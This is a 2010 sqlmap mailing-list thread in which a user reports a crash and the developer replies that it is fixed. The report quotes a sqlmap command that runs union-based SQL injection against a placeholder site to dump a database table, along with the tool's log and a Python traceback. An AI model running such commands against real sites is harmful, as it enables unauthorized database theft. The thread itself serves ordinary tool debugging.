Re: [sqlmap-users] Bug

[Miroslav S. <mir...@gm...>]

fixed (hopefully) and committed

On Wed, Sep 1, 2010 at 2:59 AM, David Guimaraes <sk...@gm...> wrote:
> $ ./sqlmap.py -u "http://vulnsite/site/vulnphp.php?id=179" -p id
> --union-test --string "XXX" -D XXX_uk -T eventos --dump
>
>    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
>    http://sqlmap.sourceforge.net
>
> [*] starting at: 21:47:55
>
> [21:47:55] [INFO] using '/path/sqlmap8/output/vulnsite/session' as session file
> [21:47:55] [INFO] resuming string match 'XXX' from session file
> [21:47:55] [INFO] resuming injection point 'GET' from session file
> [21:47:55] [INFO] resuming injection parameter 'id' from session file
> [21:47:55] [INFO] resuming injection type 'numeric' from session file
> [21:47:55] [INFO] resuming 0 number of parenthesis from session file
> [21:47:55] [INFO] resuming back-end DBMS 'mysql 5' from session file
> [21:47:55] [INFO] resuming union comment '#' from session file
> [21:47:55] [INFO] resuming union count 8 from session file
> [21:47:55] [INFO] resuming union position 3 from session file
> [21:48:00] [INFO] testing connection to the target url
> [21:48:02] [INFO] testing for parenthesis on injectable parameter
> [21:48:02] [INFO] the back-end DBMS is MySQL
>
> web application technology: PHP 5.2.14, Apache 2.2.16
> back-end DBMS: MySQL 5
>
> [21:48:02] [INFO] fetching columns for table 'eventos' on database 'XXX_uk'
> [21:48:03] [INFO] fetching entries for table 'eventos' on database 'XXX_uk'
>
> [21:48:05] [ERROR] unhandled exception in sqlmap/0.9-dev, please copy
> the command line and the following text and send by e-mail to
> sql...@li.... The developer will fix it as soon
> as possible:
> sqlmap version: 0.9-dev
> Python version: 2.5.2
> Operating system: posix
> Traceback (most recent call last):
>  File "./sqlmap.py", line 89, in main
>    start()
>  File "/pentest/database/sqlmap8/lib/controller/controller.py", line
> 278, in start
>    action()
>  File "/pentest/database/sqlmap8/lib/controller/action.py", line 117, in action
>    conf.dumper.dbTableValues(conf.dbmsHandler.dumpTable())
>  File "/pentest/database/sqlmap8/plugins/generic/enumeration.py",
> line 1067, in dumpTable
>    colEntry = entry[index]
> IndexError: list index out of range
>
> [*] shutting down at: 21:48:05
>
> $ svn info
> Path: .
> URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap
> Repository Root: https://svn.sqlmap.org/sqlmap
> Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb
> Revision: 1836
> Node Kind: directory
> Schedule: normal
> Last Changed Author: stamparm
> Last Changed Rev: 1836
> Last Changed Date: 2010-08-31 11:31:17 -0300 (Tue, 31 Aug 2010)
>
> --
> David Gomes Guimarães
>
> ------------------------------------------------------------------------------
> This SF.net Dev2Dev email is sponsored by:
>
> Show off your parallel programming skills.
> Enter the Intel(R) Threading Challenge 2010.
> http://p.sf.net/sfu/intel-thread-sfd
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar

E-mail / Jabber: miroslav.stampar (at) gmail.com
Mobile: +385921010204 (HR 0921010204)
PGP Key ID: 0xB5397B1B